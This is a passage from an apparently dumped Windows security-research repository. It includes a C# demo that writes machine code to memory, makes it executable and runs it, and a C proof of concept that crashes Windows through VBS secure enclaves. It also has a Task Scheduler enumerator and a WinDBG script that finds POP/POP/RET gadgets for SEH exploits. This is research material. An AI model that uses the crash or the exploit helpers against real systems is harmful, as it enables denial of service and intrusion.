dwSize,\r\n            Int32     flNewProtect,\r\n            ref Int32 lpflOldProtect\r\n        );\r\n\r\n        /// <summary>\r\n        /// Program entry point.\r\n        /// </summary>\r\n        /// <param name=\"args\">Command line arguments.</param>\r\n        static void Main(string[] args) {\r\n            Span<byte> asm = stackalloc byte[10] {\r\n                0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,  // MOV RAX, GS:[0x60]\r\n                0xC3                                                   // RET\r\n            };\r\n\r\n            // Allocate memory\r\n            IntPtr lpAddress = VirtualAlloc(IntPtr.Zero, asm.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n            Debug.Assert(lpAddress != IntPtr.Zero, \"[-] Error while allocating memory: kernl32!VirtualAlloc.\");\r\n\r\n            // Write asm in memory\r\n            Marshal.Copy(asm.ToArray(), 0, lpAddress, asm.Length);\r\n\r\n            // Change memory permissions\r\n            Int32 lpflOldProtect = 0;\r\n            bool success = VirtualProtect(lpAddress, asm.Length, PAGE_EXECUTE_READ, ref lpflOldProtect);\r\n            Debug.Assert(success || lpflOldProtect == 4, \"[-] Error while changing the memory permissions of the allocation memory.\");\r\n\r\n            // Create delegate\r\n            GetPEBDelegate GetPEB = Marshal.GetDelegateForFunctionPointer<GetPEBDelegate>(lpAddress);\r\n            IntPtr PEBAddressPtr = GetPEB();\r\n            Debug.Assert(PEBAddressPtr != IntPtr.Zero, \"[-] Error while retrieving the address of the PEB structure.\");\r\n\r\n            // Pull the structure out of memory\r\n            PEB _PEB = Marshal.PtrToStructure<PEB>(PEBAddressPtr);\r\n            Debug.Assert(_PEB.Equals(default(PEB)), \"[-] Error while pulling out the structure from memory\");\r\n        }\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct UNICODE_STRING {\r\n        public ushort Length;\r\n        public ushort MaximumLength;\r\n        public IntPtr Buffer;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct LIST_ENTRY {\r\n        public IntPtr Flink;\r\n        public IntPtr Blink;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n    internal struct PEB {\r\n        public byte InheritedAddressSpace;\r\n        public byte ReadImageFileExecOptions;\r\n        public byte BeingDebugged;\r\n        public byte BitField;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding0;\r\n        public IntPtr Mutant;\r\n        public IntPtr ImageBaseAddress;\r\n        public IntPtr Ldr;\r\n        public IntPtr ProcessParameters;\r\n        public IntPtr SubSystemData;\r\n        public IntPtr ProcessHeap;\r\n        public IntPtr FastPebLock;\r\n        public IntPtr AtlThunkSListPtr;\r\n        public IntPtr IFEOKey;\r\n        public uint CrossProcessFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding1;\r\n        public IntPtr KernelCallbackTable;\r\n        public uint SystemReserved;\r\n        public uint AtlThunkSListPtr32;\r\n        public IntPtr ApiSetMap;\r\n        public uint TlsExpansionCounter;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding2;\r\n        public IntPtr TlsBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]\r\n        public uint[] TlsBitmapBits;\r\n        public IntPtr ReadOnlySharedMemoryBase;\r\n        public IntPtr SharedData;\r\n        public IntPtr ReadOnlyStaticServerData;\r\n        public IntPtr AnsiCodePageData;\r\n        public IntPtr OemCodePageData;\r\n        public IntPtr UnicodeCaseTableData;\r\n        public uint NumberOfProcessors;\r\n        public uint NtGlobalFlag;\r\n        public ulong CriticalSectionTimeout;\r\n        public ulong HeapSegmentReserve;\r\n        public ulong HeapSegmentCommit;\r\n        public ulong HeapDeCommitTotalFreeThreshold;\r\n        public ulong HeapDeCommitFreeBlockThreshold;\r\n        public uint NumberOfHeaps;\r\n        public uint MaximumNumberOfHeaps;\r\n        public IntPtr ProcessHeaps;\r\n        public IntPtr GdiSharedHandleTable;\r\n        public IntPtr ProcessStarterHelper;\r\n        public uint GdiDCAttributeList;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding3;\r\n        public IntPtr LoaderLock;\r\n        public uint OSMajorVersion;\r\n        public uint OSMinorVersion;\r\n        public ushort OSBuildNumber;\r\n        public ushort OSCSDVersion;\r\n        public uint OSPlatformId;\r\n        public uint ImageSubsystem;\r\n        public uint ImageSubsystemMajorVersion;\r\n        public uint ImageSubsystemMinorVersion;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding4;\r\n        public ulong ActiveProcessAffinityMask;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 60)]\r\n        public uint[] GdiHandleBuffer;\r\n        public IntPtr PostProcessInitRoutine;\r\n        public IntPtr TlsExpansionBitmap;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]\r\n        public uint[] TlsExpansionBitmapBits;\r\n        public uint SessionId;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding5;\r\n        public ulong AppCompatFlags;\r\n        public ulong AppCompatFlagsUser;\r\n        public IntPtr pShimData;\r\n        public IntPtr AppCompatInfo;\r\n        public UNICODE_STRING CSDVersion;\r\n        public IntPtr ActivationContextData;\r\n        public IntPtr ProcessAssemblyStorageMap;\r\n        public IntPtr SystemDefaultActivationContextData;\r\n        public IntPtr SystemAssemblyStorageMap;\r\n        public ulong MinimumStackCommit;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public IntPtr[] SparePointers;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]\r\n        public uint[] SpareUlongs;\r\n        public IntPtr WerRegistrationData;\r\n        public IntPtr WerShipAssertPtr;\r\n        public IntPtr pUnused;\r\n        public IntPtr pImageHeaderHash;\r\n        public uint TracingFlags;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n        public byte[] Padding6;\r\n        public ulong CsrServerReadOnlySharedMemoryBase;\r\n        public ulong TppWorkerpListLock;\r\n        public LIST_ENTRY TppWorkerpList;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128)]\r\n        public ulong[] WaitOnAddressHashTable;\r\n        public IntPtr TelemetryCoverageHeader;\r\n        public uint CloudFileFlags;\r\n        public uint CloudFileDiagFlags;\r\n        public byte PlaceholderCompatibilityMode;\r\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)]\r\n        public byte[] PlaceholderCompatibilityModeReserved;\r\n        public IntPtr LeapSecondData;\r\n        public uint LeapSecondFlags;\r\n        public uint NtGlobalFlag2;\r\n    }\r\n}\r\n"
  },
  {
    "path": "RWX/PInvoke/PInvoke.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.30128.36\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"PInvoke\", \"PInvoke\\PInvoke.csproj\", \"{79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{79A6FE64-B3B7-4F48-B7ED-D5D4402802A4}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {A4E99308-40A3-4E3A-ABB0-52E5C0B00577}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "RWX/README.md",
    "content": "## Read (R), Writable (W), Executable (X) ##\n\nCollection of .NET Core C# code to generate Read, Writable and Executable memory region.\n\nIn each examples, the following code is injected and executed:\n```csharp\nSpan<byte> asm = stackalloc byte[10] {\n    0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,  // MOV RAX, GS:[0x60]\n    0xC3                                                   // RET\n};\n```\n\nThis assembly code is used to the the address of the Process Environment Block (PEB) structure.\n"
  },
  {
    "path": "Secure Enclave/VBS/bsod.c",
    "content": "/**\n* @file        bsod.c\n* @date        20-05-2021\n* @author      Paul L. (@am0nsec)\n* @version     1.0\n* @brief       Microsoft Windows VBS Secure Enclave Denial of Service (DoS) Proof of Concept (PoC). \n* @link        https://github.com/am0nsec/wspe\n*/\n#include <Windows.h>\n#include <stdio.h>\n\nint main() {\n\t// 1. Check that the system supports VBS secure enclaves\n\tif (!IsEnclaveTypeSupported(ENCLAVE_TYPE_VBS)) {\n\t\tprintf(\"[-] VBS secure enclave not supported.\\n\\n\");\n\t\treturn EXIT_FAILURE;\n\t}\n\tprintf(\"[+] VBS secure enclave supported.\\n\");\n\n\t// 2. Create an Enclave.\n\t// 2097152 == 2Mb which is the minimum size working\n\tENCLAVE_CREATE_INFO_VBS EnclaveCreateInfo = { 0x00 };\n\tLPVOID lpEnclaveAddress = CreateEnclave(\n\t\t(HANDLE)-1,\n\t\tNULL,\n\t\t2097152,\n\t\t0,\n\t\tENCLAVE_TYPE_VBS,\n\t\t&EnclaveCreateInfo,\n\t\tsizeof(ENCLAVE_CREATE_INFO_VBS),\n\t\tNULL\n\t);\n\tif (lpEnclaveAddress == NULL) {\n\t\tprintf(\"[-] Unable to create VBS secure enclave: %d\\n\", GetLastError());\n\t\treturn EXIT_FAILURE;\n\t}\n\tprintf(\"[+] VBS secure enclave created: 0x%p\\n\", lpEnclaveAddress);\n\n\t// 3. Initialise enclave to BSOD the system.\n\tENCLAVE_INIT_INFO_VBS EnclaveInitInfo = { 0x00 };\n\tInitializeEnclave(\n\t\t(HANDLE)-1,\n\t\tlpEnclaveAddress,\n\t\t&EnclaveInitInfo,\n\t\tsizeof EnclaveInitInfo,\n\t\tNULL\n\t);\n\n\t// 4. Exit the process.\n\tprintf(\"[+] System has not BSOD!\\n\\n\");\n\treturn EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "Task Scheduler/README.md",
    "content": "Resource: https://docs.microsoft.com/en-us/windows/win32/api/_taskschd/\n"
  },
  {
    "path": "Task Scheduler/enumerate_tasks.cpp",
    "content": "#pragma once\n#include <Windows.h>\n#include <comdef.h>\n#include <taskschd.h>\n#pragma comment(lib, \"taskschd.lib\")\n\nVOID wprintf_indent(LPCWSTR string, DWORD indent, BOOL bIsTaskName) {\n\tBSTR bstrString = ::SysAllocString(string);\n\tfor (DWORD i = 0; i < indent; i++) {\n\t\t::wprintf(L\" \");\n\t}\n\tif (bIsTaskName) {\n\t\t::wprintf(L\"- \");\n\t} else {\n\t\t::wprintf(L\"+ \");\n\t}\n\t::wprintf(L\"%s\\n\", string);\n\t::SysFreeString(bstrString);\n}\n\nBOOL IsAdministrator() {\n\tBOOL bSuccess = FALSE;\n\tHANDLE hProcessToken = NULL;\n\n\tbSuccess = ::OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &hProcessToken);\n\tif (bSuccess) {\n\t\tTOKEN_ELEVATION bIsElevated;\n\t\tDWORD dwSize = sizeof(bIsElevated);\n\n\t\tbSuccess = GetTokenInformation(hProcessToken, TokenElevation, &bIsElevated, dwSize, &dwSize);\n\t\tbSuccess = bIsElevated.TokenIsElevated;\n\t}\n\n\tif (hProcessToken) {\n\t\t::CloseHandle(hProcessToken);\n\t}\n\n\treturn bSuccess;\n}\n\nBOOL InitialiseCOM() {\n\tHRESULT hResult;\n\n\thResult = ::CoInitialize(NULL);\n\tif (!SUCCEEDED(hResult)) {\n\t\t::wprintf(L\"[>] [-] Error while initialising COM\\n\");\n\t\treturn FALSE;\n\t}\n\n\thResult = ::CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);\n\tif (!SUCCEEDED(hResult)) {\n\t\t::wprintf(L\"[-] Error while initialising COM security\\n\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nBOOL CreateTaskServiceInstance(ITaskService*& pTaskService) {\n\tHRESULT hResult = ::CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pTaskService);\n\tif (!SUCCEEDED(hResult)) {\n\t\t::wprintf(L\"[-] Error while creating TaskService instance\\n\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nBOOL ConnectToTaskService(ITaskService*& pTaskService) {\n\tVARIANT username;\n\tVARIANT password;\n\tVARIANT server;\n\tVARIANT domain;\n\t::VariantInit(&username);\n\t::VariantInit(&password);\n\t::VariantInit(&server);\n\t::VariantInit(&domain);\n\n\tHRESULT hResult = pTaskService->Connect(server, username, domain, password);\n\tif (!SUCCEEDED(hResult)) {\n\t\t::wprintf(L\"[-] Error while connecting to the TaskService\\n\");\n\t\treturn FALSE;\n\t}\n\n\t::VariantClear(&username);\n\t::VariantClear(&password);\n\t::VariantClear(&server);\n\t::VariantClear(&domain);\n\treturn TRUE;\n}\n\nBOOL GetRootTaskFolder(ITaskFolder*& pTaskFolder, ITaskService*& pTaskService, BSTR& bstrRootFolder) {\n\tHRESULT hResult = pTaskService->GetFolder(bstrRootFolder, &pTaskFolder);\n\tif (!SUCCEEDED(hResult)) {\n\t\t::wprintf(L\"[-] Error while getting the task root folder\\n\");\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nBOOL EnumerateTasks(ITaskFolder*& pTaskFolder, DWORD indent) {\n\tHRESULT hResult;\n\n\t// Get current folder name\n\tBSTR bstrFolderName = NULL;\n\tpTaskFolder->get_Name(&bstrFolderName);\n\twprintf_indent(bstrFolderName, indent, FALSE);\n\n\t// Get tasks in folder\n\tLONG lTasks = 0;\n\tIRegisteredTaskCollection* pTaskCollection = NULL;\n\tpTaskFolder->GetTasks(TASK_ENUM_HIDDEN, &pTaskCollection);\n\tpTaskCollection->get_Count(&lTasks);\n\t\n\t// Loop through all tasks\n\tfor (LONG i = 0; i < lTasks; i++) {\n\t\tIRegisteredTask* pTask = NULL;\n\t\tVARIANT item;\n\t\t::VariantInit(&item);\n\t\titem.vt = VT_I4;\n\t\titem.lVal = i + 1;\n\t\thResult = pTaskCollection->get_Item(item, &pTask);\n\t\tif (SUCCEEDED(hResult)) {\n\t\t\tBSTR bstrTaskName = NULL;\n\t\t\thResult = pTask->get_Name(&bstrTaskName);\n\t\t\tif (SUCCEEDED(hResult)) {\n\t\t\t\twprintf_indent(bstrTaskName, indent + 3, TRUE);\n\t\t\t}\n\t\t\t::SysFreeString(bstrTaskName);\n\t\t} else {\n\t\t\t::wprintf(L\"[-] Error while retriving task %d\\n\", i + 1);\n\t\t}\n\t}\n\n\t// Get all sub folders in current folder\n\tLONG lTaskFolders = 0;\n\tITaskFolderCollection* pNewTaskFolderCollections = NULL;\n\tpTaskFolder->GetFolders(0, &pNewTaskFolderCollections);\n\tpNewTaskFolderCollections->get_Count(&lTaskFolders);\n\n\t// Loop through all the folders\n\tfor (LONG i = 0; i < lTaskFolders; i++) {\n\t\tITaskFolder* pNewTaskFolder = NULL;\n\t\tVARIANT item;\n\t\t::VariantInit(&item);\n\t\titem.vt = VT_I4;\n\t\titem.lVal = i + 1;\n\n\t\tpNewTaskFolderCollections->get_Item(item, &pNewTaskFolder);\n\t\tEnumerateTasks(pNewTaskFolder, indent + 3);\n\t\tpNewTaskFolder->Release();\n\t}\n\n\tpTaskCollection->Release();\n\treturn TRUE;\n}\n\nINT wmain() {\n\t::wprintf(L\"[>] Windows Task Scheduler Experiments\\n\");\n\t::wprintf(L\"[>] Author: Paul Laîné (@am0nsec)\\n\");\n\t::wprintf(L\"   ----------------------------------------------------------------------------------\\n\\n\");\n\n\tif (IsAdministrator())\n\t\t::wprintf(L\"[>] Executed with elevated privileges\\n\\n\");\n\telse\n\t\t::wprintf(L\"[>] Executed without elevated privileges\\n\\n\");\n\n\tITaskService* pTaskService = NULL;\n\tITaskFolder* pTaskFolder = NULL;\n\tIRegisteredTaskCollection* pTaskCollection = NULL;\n\tBSTR bstrRootFolder = ::SysAllocString(L\"\\\\\");\n\n\tInitialiseCOM();\n\tCreateTaskServiceInstance(pTaskService);\n\tConnectToTaskService(pTaskService);\n\tGetRootTaskFolder(pTaskFolder, pTaskService, bstrRootFolder);\n\n\t::wprintf(L\"[>] Parsing tasks ...\\n\");\n\tEnumerateTasks(pTaskFolder, 0);\n\n\t// Cleanup\n\t::wprintf(L\"\\n[>] Cleaning everything ...\\n\");\n\tpTaskFolder->Release();\n\tpTaskService->Release();\n\t::SysFreeString(bstrRootFolder);\n\t::CoUninitialize();\n\t::wprintf(L\"[+] Cleaning everything ... OK\\n\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "WinDBG/exploit86.js",
    "content": "\"use strict\";\n\nfunction initializeScript() {\n    return [new host.apiVersionSupport(1, 7)];\n}\n\nfunction FindPPR(beginning, end) {\n    var DbgPrint = host.diagnostics.debugLog;\n    DbgPrint(\"[>] Searching for POP/POP/RET in given memory region ...\\n\");\n\n    if (end < beginning) {\n        DbgPrint(\"Invalid beginning end region provided!\\n\");\n        return;\n    }\n\n    var length = end - beginning;\n    var MemoryRegion = host.memory.readMemoryValues(beginning, length);\n\n    var cx = 0x00;\n    for (; cx < length; cx++) {\n\n        var b1 = MemoryRegion[cx];\n        var b2 = MemoryRegion[cx + 1];\n        var b3 = MemoryRegion[cx + 2];\n        if (b3 != 0xC3)\n            continue;\n\n        if (b1 >= 0x58 && b1 <= 0x5F && b1 != 0x5C) {\n            if (b2 >= 0x58 && b2 <= 0x5F && b2 != 0x5C) {\n                \n\n                DbgPrint(\n                    \"0x\" + Number(beginning + cx).toString(16) + \"\\t\" +\n                    _FindPPRInternal(b1) + \"; \" + _FindPPRInternal(b2) + \"; ret (\" +\n                    Number(b1).toString(16) + Number(b2).toString(16) + Number(b3).toString(16) + \")\\n\"\n                );\n            }\n        }\n    }\n}\n\nfunction _FindPPRInternal(byte) {\n    switch (byte){\n        case 0x58:\n            return \"pop eax\";\n        case 0x59:\n            return \"pop ecx\";\n        case 0x5A:\n            return \"pop edx\";\n        case 0x5B:\n            return \"pop ebx\";\n        case 0x5D:\n            return \"pop ebp\";\n        case 0x5E:\n            return \"pop esi\";\n        case 0x5F:\n            return \"pop edi\";\n    }\n}\n\nfunction GetModulesCharacteristics(IncludeSystem32) {\n    var DbgPrint = host.diagnostics.debugLog;\n    DbgPrint(\"[>] Listing current process modules characteristics ...\\n\");\n\n    var Modules = host.currentProcess.Modules;\n    for (var Module of Modules) {\n        if (!IncludeSystem32 && Module.Name.toLowerCase().indexOf(\"system32\") !== -1)\n            continue;\n\n        var DllCharacteristics = Module.Contents.Headers.OptionalHeader.DllCharacteristics;\n        var SEH = (DllCharacteristics & 1024) === 1024 ? \"TRUE \" : \"FALSE\";\n        var DEP = (DllCharacteristics & 256) === 256 ? \"TRUE \" : \"FALSE\";\n        var ASLR = (DllCharacteristics & 64) === 64 ? \"TRUE \" : \"FALSE\";\n\n        DbgPrint(\n            \"0x\" + Number(Module.BaseAddress).toString(16) + \"\\t\" +\n            \"0x\" + Number(Module.BaseAddress + Module.Size).toString(16) + \"\\t\" +\n            SEH + \"(SEH)\\t\" +\n            DEP + \"(DEP)\\t\" +\n            ASLR + \"(ASLR)\\t\" +\n            Module.Name + \"\\n\"\n        );\n    }\n}\n"
  }
]